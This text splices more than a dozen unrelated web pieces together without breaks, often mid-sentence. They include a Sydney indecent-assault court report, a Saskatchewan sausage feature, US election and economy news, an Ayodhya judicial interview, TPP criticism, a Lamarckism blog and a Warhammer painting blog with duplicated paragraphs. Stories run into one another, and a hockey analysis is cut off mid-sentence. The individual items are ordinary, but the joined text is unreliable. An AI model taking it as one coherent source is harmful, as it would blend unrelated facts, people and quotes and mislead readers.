“I’ll take that as a ‘no,’” Holder shot back.A taxi driver, found guilty of indecently assaulting a woman with cerebral palsy had further denigrated the victim by alleging she was drunk, a court has heard.
Abdul Majid Qazizada faced Ryde Local Court today, charged with aggravated indecent assault of the 23-year-old, who requires a walking frame to assist with weakness on her left side and also suffers from epilepsy.
Qazizada, 51, of Acacia Gardens, was assisted by a Persian translator as magistrate Jennifer Betts handed down her judgment.
She found that, as he drove the victim home from Ryde Eastwood Leagues Club on September 10, he told her up to five time that she was a "lovely lady" before lifting her out of the vehicle when she got home.
He then touched her breasts several times, causing her pain.Cars and mud-spattered trucks line both sides of the gravel road outside the Osler Community Hall. A shaft of light from the open door punches into the cold November night. With it comes warmth and the unmistakable smell of sizzling meat. A lot of meat.
Inside, 190 guests use miniature forks to spear savoury chunks, and miniature pencils to record their impressions. Ostensibly a competition and fundraiser to improve the town’s outdoor hockey rink, the event is in fact a celebration of rural Saskatchewan’s most unusual industry: Mennonite sausage.
“I think for a lot of people it’s tradition. It’s how they were raised. It’s what they’ve always eaten,” said Kevin Boldt, who expanded his grain farm into meat when a nearby abattoir came up for sale. The Osler-based business, which Boldt owns with his wife Melanie, began producing pork sausage seven years ago. Today, it’s one of more than a dozen small-scale butchers dotting the landscape around Saskatoon.
“I liken the sausage business in this area very much to the wine business in the Okanagan or in the Niagara region,” Boldt said. “There are wines you like and wines you don’t, just like there’s sausages you like and sausages you don’t. And it’s enough to keep a lot of people in business.”
Boldt’s Pine View Farms is one of nine producers on the menu at the competition, which the organizing committee dubbed “The Lord of the (Sausage) Rings.” Although each butcher has a proprietary recipe or two, all Mennonite sausage comes from the same blueprint. It’s simple sausage with simple ingredients, he said.
At Smokehaus Meats in Martensville, for example, hogs are slaughtered offsite and delivered cold, according to Trent Ens, who runs the business with his wife Tanya. After butchering, the pork is seasoned with salt and pepper, stuffed into casings and smoked. It’s easy, at least in theory.
“Texture, appearance and flavour — those three are very important,” Ens said, referring to the criteria customers and competition judges use to evaluate sausages. “But what really makes one Mennonite sausage better than another is the third one, texture. The texture is critically important.”
Ens grew up on a dairy farm south of Langham and worked as a truck driver and seller of aerial farm photographs before taking a job as a kill floor inspector in Alberta. In 1999, he and Tanya bought a meat plant in Swift Current, which they ran for several years before founding Smokehaus Meats in 2006.
On the day it opened, Smokehaus cleared $648, Ens said. It was a discouraging start, but the business would eventually flourish, expanding from 1,800 square feet to more than 7,000 and quadrupling its employees.
“On a busy weekend in summer, now, we’ll sell the same amount of meat we sold the first month and a half we were open,” Ens said.
The amiable butcher attributes his business’s growth — and that of the entire Saskatoon-area industry — to a fundamental change in the way people eat: a shift toward high-quality food produced locally and in small batches. It’s trendy, he admitted.
But while an increased demand for products such as Mennonite sausage has caused numerous small operations to spring up in rural Saskatchewan, Ens distances himself from the sausage revolution.
“We wanted people to buy local because it was good, not because it was local,” he said.
Boldt takes a similar view. Since Pine View Farms began producing sausage, he and Melanie have opted to chase quality rather than growth. It’s a long and painstaking process: experiments with everything from hog feed to butchering technique affect the quality of the reddish-brown sausages. At the same time, Boldt can’t deny the emergence of a trend anchored in the area’s rich German history.
“People are going back to where they came from,” he said. “We all used to just eat local meat. That’s what it was. (But) through the late ’60s and early ’70s, we got into more of a conventional, commercialized way of making meat. People are looking for different things now.”
They’re looking for a good meal that’s easy to prepare and tastes like home and history.
The change is exemplified by Drake Meats, founded in 1949 and purchased by Norman Ediger in 1962. Norman’s son Kelly, who took over the Drake-based business 35 years ago, has helped push the company’s meat into major grocery stores, including Costco, Sobeys and Co-Op, opening the world of Saskatchewan-made sausage to more people than ever before.
“I think there’s a real movement to continue with traditional products like farmer’s sausage, because there’s a large Mennonite community in Saskatchewan,” Ediger said. “I don’t think ‘commercialized’ is the right word, but we’ve produced it for the chain stores to get more volume out there.”
Drake Meats is a midsize producer. Its main competitors are the truly enormous meat plants. But butchers working on a much smaller scale share Ediger’s philosophy — which is why Ens, Boldt and butchers from Duck Lake, Waldheim, Neuhorst, Gruenthal, Martensville and Warman gathered in Osler to compare sausages, talk shop, and maybe slug back a beer or two.
Back in the Osler Community Hall, plate after plate of sausage slices emerge from the steaming kitchen and are devoured by aficionados and neophytes. Conversation ebbs and flows based on how much food remains on the tables. Although her personal favourite, Riverside Meats from Warman, would eventually lose to Trent Ens’s Smokehaus Meats, Sandra Grismer was happy to brave the frigid cold to support the community fundraising drive — and to eat sausage with her friends Linda Stucky and Margaret Dyck.
“I think they’re just good entrepreneurs,” she said. “They see something that works, and they are prepared to experiment and find a product that’s good.” Good enough that people will go to great lengths to get Saskatchewan Mennonite sausage. Dyck’s adult children live in the U.S., one in Portland, Oregon, the other in Santa Fe, New Mexico. She brings sausage whenever she visits. Stucky has a similar story about her sister in Calgary.
“She will make a special trip, twice a year, just to get sausage,” she said with a laugh. “She doesn’t care about me; she wants sausage.”
amacpherson@thestarphoenix.com
twitter.com/macphersonaIn yet another rebuke to Donald Trump and the Republican agenda, Democrats just flipped local seats in small, conservative Midwestern towns that have not gone blue in over a century.
This week saw an amazingly close race in the special election for Kansas’s 4th Congressional District, one of the most conservative parts of the country. Democrat James Thompson came within 7 points of Republican Ron Estes, in a district Republicans carried by 32 points in 2016.
The results left Republicans jittery — particularly about their prospects in the special election on April 18 in Georgia’s 6th District, where Democrat Jon Ossoff continues to keep the race competitive. If the 25-point swing in Kansas was repeated nationwide in 2018, Democrats could win back the House in a landslide — and possibly even have a chance at the Senate.
But some commentators are debating whether what happened in Kansas was part of a national backlash against Donald Trump, or a one-off event precipitated by the GOP candidate’s close ties to near-universally loathed Governor Sam Brownback.
New evidence from another state suggests the results from Kansas are not an isolated event.
Illinois is generally thought of as a deep blue state. Democrats control the state legislature, both its Senate seats, and 11 of its 18 congressional districts, and the state has not voted for a Republican for president in nearly 30 years. But this is mainly due to the fact that Illinois is home to the third-largest city in America. Outside of Chicago, huge swathes of the state are rural and very conservative.
Which is why it came as a shock last week when Democrats won a series of local elections in these areas.
In Normal Township, Democrats won seats on the board of trustees for the first time in 100 years. In West Deerfield Township, Democrats won every office. In Elgin Township, voters elected a Democrat to the supervisor office for the first time in history, and voted out every single member of the board of trustees in favor of Democrats.
And in the city of Kankakee, Democratic Alderwoman Chasity Wells-Armstrong defeated Republican Nina Epstein to become the city’s first African-American mayor.
Dan Kovats, executive director of the Illinois Democratic County Chairmen’s Association, took a victory lap after the statewide blue wave:
We won in areas we normally would win, but we also won in areas Republicans never expected us to be competitive in. They were caught flat-footed.
According to the Huffington Post, much of the credit goes to Build the Bench, a program created by Democratic Rep. Cheri Bustos to train candidates to win local races in Illinois. Programs like this have seen huge interest following Trump’s election, as Democrats seek to take advantage of national anger and thousands of new progressives volunteer to run for office.
The fact that backlash against the Republican Party is deep enough to filter down to such small offices, and broad enough to flip conservative small towns, should have the GOP sweating. The Democratic victories in Illinois prove that the shockingly close race in Kansas is no fluke, and that no Republican is safe.Shot quality has been a topic of late on hockey twitter and various sites. Only a few weeks ago, the Hockey-Graphs Hockey Talk was centered around this topic. Shot quality is a lightning rod and much of the talking at or past one another that people often do stems from a single issue: there is no agreed-upon definition of what people mean when they say “shot quality.” Well, I like what our own Nick Mercadante had to say on the subject:
@77PGC and that’s where guys like @RK_Stimp and @Vallys_View come in with the tracking work. Give me a base repeatable skill to analyze. — Nick Mercadante (@NMercad) January 17, 2016
Establishing a base, repeatable skill that accounts for pre-shot movement and an increased likelihood of a goal being scored are what we need to properly analyze player contributions. Quantifying passing also gives us another actionable piece of data that everyone understands and coaches can use as well. Often, the simplest metric or method is the best. And, we should able to do that now that we’ve obtained a significant set of data. This chart may look familiar, but it’s essential to understanding how important passing is to goal-scoring. This is from all tracked passing sequences from the six teams (Chicago Blackhawks, Florida Panthers, New Jersey Devils, New York Islanders, New York Rangers, and Washington Capitals) that we tracked last season.
From this point on, I want you to forget whatever it is you think of when you hear the term, “shot quality.”
When I hear shot quality, I think we should be talking about any aspects of a shot that consistently increase the chance of a goal being scored. The reason we value Corsi and Scoring Chances is that they are both rather basic, repeatable, and predictive. What we are going to do in this post is examine the value in a single, repeatable metric that can tell us anything about what happens before the shot is taken. Specifically, we’re going to evaluate what we can learn from the shot assists a player generates.
For those unfamiliar with my work, I have been tracking passes, shot assists, and a whole bunch of other stuff over the last three seasons. Over the past two seasons, many people have joined me in this pursuit of better data to make better evaluations of players. Today, we can do just that. You can learn more about the project here and please reach out if you’d like to volunteer.
Let’s get into it, shall we? All data you will see is from 5v5 situations. We’re going to use the 72 forwards that played in at least 60 games for the 2013 – 2014 New Jersey Devils, and then the Chicago Blackhawks, Florida Panthers, New Jersey Devils, New York Islanders, New York Rangers, and Washington Capitals from the 2014 – 2015 season. I chose this number as I wanted a good enough sample from their respective seasons and playing at least 75% of the season seemed like a good place to start.
What we’re going to do is look at how well the rate at which a player assists on shots |
's mother as she tried to defend herself with a broom.
"He fired that gun at her over and over and over," Bagby said.
McKay called Balfour "a true coward."
"He shoots a 57-year-old grandmother in the back. He shoots a 29-year-old man in his sleep. He shoots a 7-year-old twice in the head," McKay told jurors. "The family, the community, the city, the country demand justice."
In the trial, 83 witnesses testified over 11 days.
The crimes took place a year after Hudson, who rose to fame as a contestant on "American Idol," won an Oscar for her role in the movie "Dreamgirls."
In a recent interview with CNN's Piers Morgan, Hudson reflected on the life of her mother.
"My mother was a very wise and strong person. I feel like she raised us well, and she prepared me well, and so that's what I live by," she said.
Her career has continued to blossom and remains varied since her relatives' deaths.
Recent milestones include penning a memoir detailing her struggles with her weight; being cast as Nelson Mandela's ex-wife, Winnie, in an upcoming movie; releasing a new album; and singing a well-received tribute to Whitney Houston at the Grammy Awards in February.In July 2013, a train carrying crude oil exploded in Lac-Megantic, Quebec, destroying much of the city. The blast leveled the downtown area and vaporized 47 people, many of whom were out enjoying the night at the Musi-Cafe, a local bar.
This tragedy was brought home for many when we learned that the industry has quietly been transporting the same volatile crude oil through communities across the United States, in the same tank cars. With the same lax safety standards.
The industry claims it does things safely, but as we know, when Big Oil goes wrong, it goes very wrong. Communities are severely impacted and people die. The increase in oil train traffic may result in more tragedy and expensive tax-payer funded cleanups. And these trains run through communities all across the nation.
Oil train routes traverse New York State and connect every major metropolitan area.
Instead of waiting for the next catastrophe, we are taking action. Here at Environmental Advocates we are building a movement to hold our elected officials and Big Oil accountable for putting our communities at risk. Watch our video, and sign our petition. This is your opportunity to take responsibility for keeping America safe.WASHINGTON (Reuters) - Contracts to buy previously owned U.S. homes fell for the third straight month in August but fewer Americans filed new claims for jobless benefits last week, giving conflicting signals on the health of the economy.
Job seekers wait to meet with employers at a career fair in New York City, October 24, 2012. REUTERS/Mike Segar
Another economic report on Thursday showed a worrisome decline in consumer prices during the second quarter.
Together, the data offers a challenge for the Federal Reserve, which wants to see more evidence that the U.S. economy is gaining momentum before it scales back a bond-buying stimulus program.
The Fed last week flagged a rise in interest rates as a threat to the economy, and also said that employment and inflation remain too weak.
The National Association of Realtors said its Pending Homes Sales Index, based on contracts signed last month, decreased 1.6 percent last month.
The decline, which was steeper than economists had expected, was the latest sign that a sharp rise in mortgage rates have put a significant dent in the U.S. housing market recovery.
“The housing market is not rolling over, but it does seem to be losing steam,” said Ian Shepherdson, an economist at Pantheon Macroeconomics in White Plains, New York.
Mortgage rates have shot up since May and pushed potential home buyers out of the market, which is still smarting from the 2007-09 recession. Contracts fell across most of the country in August, with gains only in the Northeast.
At the same time, labor market data was more positive.
Initial claims for state unemployment benefits dropped 5,000 last week to a seasonally adjusted 305,000, the Labor Department said.
The drop in claims could bode well for employers adding workers to their payrolls and sooth some of the Fed’s concerns.
“Claims are signaling further acceleration in payrolls gains,” said Jim O’Sullivan, an economist at High Frequency Economics in Valhalla, New York.
Economists polled by Reuters had expected the number of new claims to rise last week, and the decline fueled gains in stock prices and yields on U.S. government debt.
The reading gives a clearer view of the labor market’s health after an update in government computer systems in California and Nevada earlier this month threw claims data into disarray.
The updates created a backlog in unprocessed claims that had been distorting the data, but a Labor Department analyst said both states had reported they had caught up in counting new filings.
The four-week average of new claims, which smoothes out weekly volatility, fell 7,000 to 308,000, the lowest level since June 2007.
Despite these gains, a lot of slack appears to remain in the labor market, a factor that continues to weigh on consumer spending.
The Commerce Department said prices for goods and services purchased by U.S. households fell in the second quarter for the first time in four years.
That is worrisome because it suggests demand in the economy is so weak that businesses have little leverage to raise prices. Bernanke has said the Fed doesn’t want to end its bond-buying stimulus program until inflation begins to trend higher.
It was the first decline since the first quarter of 2009, which were some of the darkest days of the 2007-09 recession.
Even stripping out volatile food and energy costs, prices rose at only a 0.6 percent rate, also the weakest reading for this so-called core category since early 2009.
“The (price) data therefore look likely to further dissuade policymakers that the economy is ready to withstand any tapering of the Fed asset purchases program,” said Chris Williamson, an economist at Markit.
Gains in corporate profits also appear to have downshifted. After rising 7 percent in 2012, after-tax profits fell in the first quarter and rose a downwardly revised 3.3 percent in the second, the Commerce Department said.
The same report showed the government holding unchanged its estimate for growth in gross domestic product, a measure of all the goods and services produced in the economy, which expanded at a 2.5 percent annual rate between April and June.The “demolition suit” Justice Manmohan Singh Liberhan is referring to relates to the criminal conspiracy case currently being heard in Lucknow against Advani, Joshi, Uma Bharti and others.
Justice Manmohan Singh Liberhan, whose commission of inquiry held that the demolition of the Babri Masjid on December 6, 1992 was “meticulously planned”, has said that the Supreme Court should have heard the Ayodhya title suit case only after the demolition case has been cleared.
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His remarks come days before the Supreme Court starts final hearings in the title suit case from December 5.
Speaking to The Indian Express, Liberhan, who submitted his report in June 2009 indicting Atal Bihari Vajpayee along with L K Advani and Murli Manohar Joshi, said: “The Supreme Court’s decision to hear the appeal in the matter of the Ayodhya title suit (the decision of the Allahabad High Court in 2010) on a day-to-day basis from December 5 will adversely affect the demolition suit. What is the point of doing this? If it is decided that it is Wakf property, then one side is established as guilty of demolition. And if the Hindu sides get it, then the act of demolition becomes seen as ‘justified’ — to reclaim own property. This demolition is known to people alive and must be decided first. They can take a few weeks or months to do it.”
The “demolition suit” he is referring to relates to the criminal conspiracy case currently being heard in Lucknow against Advani, Joshi, Uma Bharti and others.
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Critiquing the decision of the Allahabad High Court which ended up partitioning the land into three instead of deciding on the suit, he said: “The Allahabad High Court decision is not the answer. A decision had to be made on the title suit of the property and they went and partitioned the land.”
The Allahabad High Court divided the 2.77-acre disputed land in Ayodhya between the main deity Ram Lalla, Sunni Wakf Board and Nirmohi Akhara.
Liberhan says that the current political dispensation, ruling parties as well the Opposition, are both indifferent to the circumstances under which the Masjid was torn down and its larger implications; “None of the political parties today want to do something or even genuinely feel like they should do something on the demolition of the Babri Masjid. They just want to encash it in their own ways. In the present political environment, even the philosophical idea of imagining the so-called secular society is not there, it is just limited to sloganism.”
He said: “Muslims’ faith in the judicial system must be restored. The problem is there are not many civil society organisations who are actively engaged on this subject.”
Liberhan is also critical of the way the judiciary ruled on the instant triple talaq case: “What business is it of the Supreme Court to decide on personal laws, habits and rituals people practice? I am also opposed to judges deciding who is a Sikh, how Parsis should conduct themselves or their rituals etc.”
“Courts have started intervening in matters they cannot control which are not in their domain,” said Liberhan. “It has happened over the past 30 years when the Legislature and the Executive became weak. The balance of power is all deeply imbalanced now. How can judges issue orders like ‘clean up Delhi’s air etc.’ They are lucky that the Executive does not say that they won’t do. If they said so, can you imagine what would happen? Everything would completely fail.”
Liberhan, who retired as Chief Justice of the Andhra High Court, was very critical of the collegium system that judges have in place to appoint themselves. “How can people who have come through the collegium system decide that is the best way? Please collect data on corruption charges (in the judiciary) before and after the collegium system came in,” he said.
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On the recent matter of the Chief Justice of India stating that he is “master of the roster,” Liberhan said: “Yes, for administrative purposes, the master of the roster holds but the CJI is not above the law of the land and should have recused himself voluntarily… that would have upheld the dignity of his office.”MINNEAPOLIS (WCCO) – Apple is placing a big bet on the idea that we’ll all be wearing our technology in the near future. But on its earnings call Tuesday, the company was mum when it came to how many Apple Watches it’s sold.
Gene Munster, a senior technology analyst with Piper Jaffray, estimates Apple sold 2.5 million Apple Watches, about half of the four to five million investors had hoped for.
So, with all of this new technology, how many of us wear wristwatches?
“Essentially what’s happening is your phone has taken over your watch,” said Munster.
We started taking off our watches when cellphones became the must-have accessory. On average, people look at their phone seven times an hour. For teenagers, that average jumps to 20.
“You usually pick up the time, whether you recognize that or not, when you use your phone,” Munster said.
According to research by Piper Jaffray senior analyst Erinn Murphy, 750 million watches were sold worldwide in 1991. That number fell to 440 million in 2014, which is a drop of 2 percent per year.
For teenagers, the drop was more precipitous. In 2005, 52 percent of teenagers wore a watch. By 2010, it was down to 25 percent.
“Now we’re starting to see a small shift back as things like fashion become more important,” Munster said. “A watch is a way to express yourself.”
A small group of people still give watches as gifts, and the high-end collector’s market has remained stable.
As for smartwatches, also known as wrist wearables, Piper Jaffray estimates they made up 6 percent of new watch purchases in 2014, but could rise to 31 percent by 2018.
“I think we’re going to become more watch-wearers, because I think the functionality that’s going to go on your wrist is going to increase,” Munster said. “The convenience of not having to fish your phone out of your pocket or get your wallet out, all of that standardized on your wrist will be a big selling point for the concept of watches.”Australia's trade minister has taken a swipe at critics of the Trans Pacific Partnership, accusing them of spreading “misinformation” about a trade treaty that's been kept as secret as possible since its inception.
In response to criticism from consumer watchdog Choice about the deal, Robb told ABC Radio “Those who are opposed to this scheme for all sorts of reasons are peddling a lot of misinformation, saying pharmacy costs will go up”.
Both Choice and the medico's union, the Australian Medical Association, have said that giving pharmaceutical vendors longer patents will delay access to generic medicines, imposing higher costs on both patients and the country's Pharmaceutical Benefits Scheme.
Other key concerns surrounding the treaty include the criminalisation of copyright infringement, and the impact of investor-state dispute settlement on local policies (such as environmental protection and anti-dumping laws). America and Japan have also been at loggerheads over agricultural protection.
Choice says the provisions for copyright infringement in the treaty could impose criminal sanctions for a single unauthorised download.
Today marks day three of a ministerial conference on the TPP, which followed a week-long confab of negotiators. The progress of those negotiations has been better-guarded than in many previous rounds, with virtually no leaks emerging.
Ahead of the meeting, Japan's minister in charge of the TPP talks said he hoped the current talks would reach “an accord on basic elements” of the treaty, according to The Japan News.
Meanwhile, the Greens and the ALP – a participant in the treaty when in government – have become critical of the progress of the TPP. ALP leader Bill Shorten told the National Farmers' Federation that the federal government's commitment to trying to achieve a deadline on the TPP weakened its negotiating position.
The twelve countries involved in the TPP are Australia, Brunai, Canada, Chile, Japan, Malaysia, Mexico, Peru, New Zealand, Singapore, the US and Vietnam. ®Monday, 7 February, 2011 - 06:40
In November last year, Prime Minister John Key described as "far-fetched" the idea that investors could sue the New Zealand government directly in a secret international tribunal to enforce rules in the proposed Trans-Pacific Partnership Agreement (TPPA).
This week, US trade negotiator Barbara Wiesel said that was no longer New Zealand's position, according to TPPA critic Professor Jane Kelsey.
In response to questions about New Zealand and Australian positions during a briefing to civil society in Washington on 31st January Ms Wiesel said "New Zealand had retracted the Prime Minister's statement. It is not their position."
Under standard US terms for such agreements, investors can claim millions in compensation from governments on the grounds that new regulation has adversely affect their investment. Under a TPPA that would apply to investors from all participating countries, including our largest sources of investment, the US and Australia, Jane Kelsey said.
"In other words, the Key government is happy for pharmaceutical firms in the US, Australian banks or Singapore-based Brierley Investments to sue the New Zealand government for millions in compensation if they think new laws or policies are unfair or unreasonable or erode their profitability", said Professor Kelsey.
"We saw with the Hobbit, just a threat from a foreign investor is often enough to see a government cave. The leverage of Warners over our labour laws and taxpayer subsidies will pale into insignificance with a TPPA."
Professor Kelsey speculates on three explanations for the flip-flop.
"Either John Key did not know what his negotiators were proposing to do when he described investor-state enforcement as "far-fetched"; or he was lying to the New Zealand public; or he has buckled to pressure from the US, and possibly his own Minister and officials, to agree."
"This proposed bill of rights for foreign investors is even more frightening when government has announced assets sales and privatisation of ACC, policies which failed in the past and required the government to step back in."
"The Prime Minister needs to be upfront about the government's real position before the next round of negotiations begins in Chile on 14 February and explain why he is prepared to give foreign firms the legal power to override New Zealand's sovereignty and extract settlements of hundreds of millions of taxpayer dollars".An image of President-elect Donald Trump won’t be on a commemorative Inauguration Day transit card but will appear on a free sleeve that protects the card, officials said Saturday.
The joint announcement by the 2017 Presidential Inaugural Committee and the Washington Metropolitan Area Transit Authority appears to settle the political flap about Trump’s face not being on the commemorative, hard-plastic card, considering President Obama’s was for his 2008 and 2012 inaugurations.
“The … committee has worked closely with Metro on a commemorative sleeve,” said group spokesman Boris Epshteyn. “Americans from every corner of this country will be coming to Washington, D.C., for inaugural events.”
The card will feature an image of Trump, a Republican, submitted by the committee and Trump’s winning campaign slogan “Make America Great Again.”
The transit agency, which runs the country’s second-busiest rapid-transit system, said in December that Trump’s image could not be on the card because “Metro requested permission to use a photo, but received no response from the campaign.”
The Trump inauguration committee did not respond to a questions Saturday about whether the campaign indeed did not respond to the photo request and if it was satisfied with the sleeve.
The 50,000 free, commemorative sleeves will be distributed at “selected” Metro stations on the morning of the inauguration, the agency said Saturday.
The commemorative SmarTrip fare cards cost $10 apiece and allow for unlimited Metro bus and trail travel on the January 20 Inauguration Day.
Metro officials, in the joint release, urged visitors to purchase the cards in advance but didn’t comment on the sleeve or card design, which features an image of the White House over a U.S. flag and the words “58th Presidential Inauguration Celebration.”
"Our goal is to get as many Inauguration fare cards into circulation as possible so our visitors can skip the lines and head right for the train or bus," said Paul J. Wiedefeld, the agency’s general manager and chief executive.This is a post about Lamarckism and if you’ve never heard of Lamarckism I’m hoping that this post will get you interested in it as well as how it has appeared in various forms of media in the modern era. At some point in the future, I’m going to use this as a base for a video I am planning on making as soon as I can afford a video camera and editing software of my own. I think this would do better as a video than as a blog post but I want to go ahead and write this out somewhere so that way people can see it and hopefully writers can learn about this neat and unacknowledged idea in fantasy & sci-fi media. Oh yeah and some spoilers for Re:Monster but if you aren’t a nerd like me that won’t matter to you.
Defining & Explaining Lamarckism:
Before the publication of The Origin Of Species (and thus the emergence of the theory of evolution by natural selection in the public eye), there were ideas which sought to explain how traits were passed down from one generation to another. One such idea which enjoyed a bit of popularity but was also the subject of very intense criticism from the science community at the time is now referred to as Lamarckism, and if someone had to boil down this idea of French biologist Lamarck’s to its most simple it had two major ideas. The first idea was that something could gain advantageous characteristics during its life and lose unused or disadvantageous characteristics during its life (the idea of use & disuse organs) and the second idea was that such characteristics are inheritable and thus can be passed down to one’s offspring more easily. Lamarck’s work Zoological Philosophy outlines his views and notes the impact he thinks the environment could have on species and even writes about vestigial structures in it.
How Has Lamarckism Snuck Into Fantasy Media?
First of all, there’s a trope that’s been identified and is on TV Tropes which talks about Lamarckism which is neat in and of itself. If you want specific examples of Lamarkism look at Pokemon. Many pokemon are examples of one part of Lamarckian thought since once they reach a certain level of power due to being trained (generally in different environments than they were born) or are exposed to a wild change of conditions (such as when pokemon evolve due to being exposed to types of stones which contain or embody classical elements like water, fire, or thunder) they can radically and wildly change acquiring way new characteristics and in more than a few cases even change types while evolving but it doesn’t even have to be that massive because pokemon learning new moves over the course of their lives is also an example of Lamarckian thought. At this point, if you were a casual fan of Pokemon or not a fan at all I bet you’re wondering if there’s an example of passing down acquired characteristics in Pokemon and there is! Breeding is an element in Pokemon and there are guides which show how to pass down moves from parent pokemon to child pokemon, which is, in fact, an example of passing down acquired characteristics from parent to child.
One of my favorite examples of Lamarckism in fantasy media is a critical aspect of my favorite light novel and one of my favorite mangas Re:Monster, the “rank-up” system. I’m not going to spoil this a whole lot but in this story, there’s a system by which monsters can evolve once they’ve gained enough experience and like pokemon, they transform into new beings with new and advantageous characteristics. In my opinion, this is a MUCH better example of Lamarckism than Pokemon is because in this the evolutionary possibilities hinge upon how the individual behaved and not just the state of acquiring enough power over time. To illustrate this properly the main cast of characters in this story start off as a trio of goblins. Rou (I’m using their base names instead of their “real” names during each of their evolutionary phases) is the leading protagonist and he ranks-up into an apostle lord. One of his partners was originally a goblin named Kichi who ranks up into a minotaur. The last member of their group was a goblin named Mi who ranks up into a dhampir (her’s is a bit weird because she doesn’t become an ogre whereas both Rou & Kichi become ogres before they rank up into an apostle lord & a minotaur respectively). The reasons why their evolutions are different despite having the same base which is a basic goblin with different stats between each of them is because they behaved differently in battle and specialized in different things which is why their acquired characteristics were different. Partway through the story, Rou becomes a father and his children inherit characteristics and that he acquired during his life and when his youngest child is born it becomes clear that his present strength at the moment the child is conceived affects the natural strength & characteristics of the child which is the perfect example of Lamarck’s idea of inheritance of acquired characteristics.
These are clearly an understanding perhaps unconsciously of the sorts of ideas that Lamarck had in life applied to creative works of fiction and it’s neat as heck. Pokemon and Re:Monster are FAR from the only times these ideas appear in fantasy but they are some of the clearer examples of them in fantasy and Pokemon is something that most people who’d ever read this post have even a passing understanding of or even awareness of whereas for many of my readers this’ll likely be the first time they’ll ever hear of Re:Monster. If I ever get to make a video on this topic I’ll dive way more in-depth than this, but I hope that this post introduced you to new stuff that you want to experience and learn about yourself. I’d love to hear what you think of all of this and your favorite examples of Lamarckism in fantasy!This was one of the main reasons I didn't manage to finish the libby - on Thursday I played another game with my dusk knights, and after the disastrous result of my narrative game last week where I had nearly 40% of my force missing for three turns due to poor reserve rolls, I wasn't going to go into another game without a third drop pod. I finally got it finished midweek so I now have three fully painted pods available to me in future games.
I actually started the apothecary a bit earlier, but Thursday night finished with this as the progress - it's a model I've had longer than many people have been in the hobby and has been part of several of my armies over the years, but I'm pleased with how the latest incarnation is coming along.
On Sunday night and Monday lunchtime I managed to get some more work done on the squads, ready for a game with them on Thursday, so here's the latest progress!
Sunday night saw me plough through getting the Rakarth Flesh done on the shoulder guards, hands, elbows and knee pads, along with highlighting up the yellow on the unbased one, and getting the base layers done on their weapons.
On Monday during my lunch break, I did all the helmets and both power fists white, then applied the agrax earthshade wash before they get highlighted back up to white again. I also did the last of the brass base details on the squads, and got the first layer of yellow on the eye lenses.
Finally, because I've not got enough to paint (!) I assembled some more squads from the bits I have lying around - this first unit will be a squad of bolter scouts, made from the crew of a land speeder storm I came into possession of. The poses will make them particularly dynamic I think, and I'm planning on having them all based as if having destroyed a Tau battlesuit of some kind.
This squad will be the first part of my Vanguard Veterans, built from a mix of parts from all over the place (Black Templars upgrades, old vanguard weapons, command squad bits, devastator squad power axe, even some of the new deathwatch bits are in there) I've not magnetised these guys, they will permanently be jump pack vanguard. I have another squad of vanguard that will double as honour guard when necessary and will have magnetised jump packs and weaponry.
So that's all for now - what did you guys get done this week?
Till next time,
TBE On Sunday night and Monday lunchtime I managed to get some more work done on the squads, ready for a game with them on Thursday, so here's the latest progress!Sunday night saw me plough through getting the Rakarth Flesh done on the shoulder guards, hands, elbows and knee pads, along with highlighting up the yellow on the unbased one, and getting the base layers done on their weapons.On Monday during my lunch break, I did all the helmets and both power fists white, then applied the agrax earthshade wash before they get highlighted back up to white again. I also did the last of the brass base details on the squads, and got the first layer of yellow on the eye lenses.Finally, because I've not got enough to paint (!) I assembled some more squads from the bits I have lying around - this first unit will be a squad of bolter scouts, made from the crew of a land speeder storm I came into possession of. The poses will make them particularly dynamic I think, and I'm planning on having them all based as if having destroyed a Tau battlesuit of some kind.This squad will be the first part of my Vanguard Veterans, built from a mix of parts from all over the place (Black Templars upgrades, old vanguard weapons, command squad bits, devastator squad power axe, even some of the new deathwatch bits are in there) I've not magnetised these guys, they will permanently be jump pack vanguard. I have another squad of vanguard that will double as honour guard when necessary and will have magnetised jump packs and weaponry.So that's all for now - what did you guys get done this week?Till next time,TBE
In terms of progress from last week, I've started work on all the books detailed on his armour, his tabard is complete (Khorne Red, Wazdakka Red, Squig Orange) and I've got most of the other detail work sorted.After that then, it was time to start thinking about my list for the next narrative game and what I'd want to take. I drafted something out regardless of what was painted, working on the basis that I wanted it to be an effective drop force, the classic marine tactic of striking hard and fast from the skies, becoming the true angels of death.There was a downside. It means I needed to finish painting 26 more infantry models before we could play the game.One punishing painting schedule later and Ryan and I figured we'd do it anyway. 2nd March is the day we've pencilled in for the next game, so I had 3 weeks to get all those models finished (it kinda runs similar to Rory Priest's squadary deadlines, so whilst I'm not technically taking part in that challenge, I felt like I was at least paying more than lip service to the idea!Here's the first two squads on my paint station - I took an almost identical list to the Golovin game to club again in the hopes that my dice would be a bit more reliable this time, and I'm pleased to say they were. Neither of us had appallingly bad luck, or outstandingly good luck (though Mj's orks were pretty accurate shooters) but the weakness of the Ork codex, combined with his limited availability of models meant that the game was all over very quickly, the Warboss and his unit going down under a hail of assault cannon and heavy bolter fire on turn 1, whilst the deff dread exploded to a melta shot and the lootaz fled the board after taking 7 casualties to the warlord and his tactical squad.That meant an early night for me, and I was home by half nine, so I got cracking on some veterans. One squad of sternguard and a command squad. Ignore the power fists, I put them on for decoration rather than game effects!In a bit more of a detailed shot, here's the apothecary that's going to be a part of the command squad, hopefully helping to keep them and their charge alive a little longer - with 4 plasma guns in the rest of the squad the Emperor's knows they'll need it!Get Your Puppy Fix in Jangsan
Give Your Dog a Stylish Home – Get Up to 30% Off Dog Houses
It’s been five months since Jürgen and I lost our French Bulldog to cancer. We’ve been able to distract ourselves with travel, but every once in awhile (and especially after seeing a French Bulldog on the streets), I’ll feel that empty pang of sadness, and start wishing I had a dog again. Luckily, there’s a place in Busan where I can go to purge myself of such silly whims.
Across the street from Exit 3 of the Jangsan Metro, there’s a pet store. On the bottom floor, it’s just your normal shop selling puppies and pet supplies. But upstairs, chaos reigns. This is the Puppy Cafe, where about twenty dogs of every species, age and size are running around, vying for human attention, wrestling with each other, pissing, barking and generally acting insane.
On entering the cafe, we were greeted by a deafening chorus of barks. “NEW HUMANS!” Of course, it was the biggest dogs who wanted to jump on us; a golden lab who needed to lick our faces (“I must!”) and a heavy black lab that almost knocked me down. Over the noise, the waiter (attendant? nanny?) asked us for the ₩8000 ($7.20) entry fee, then prepared a free coffee while we acquainted ourselves with the gang.
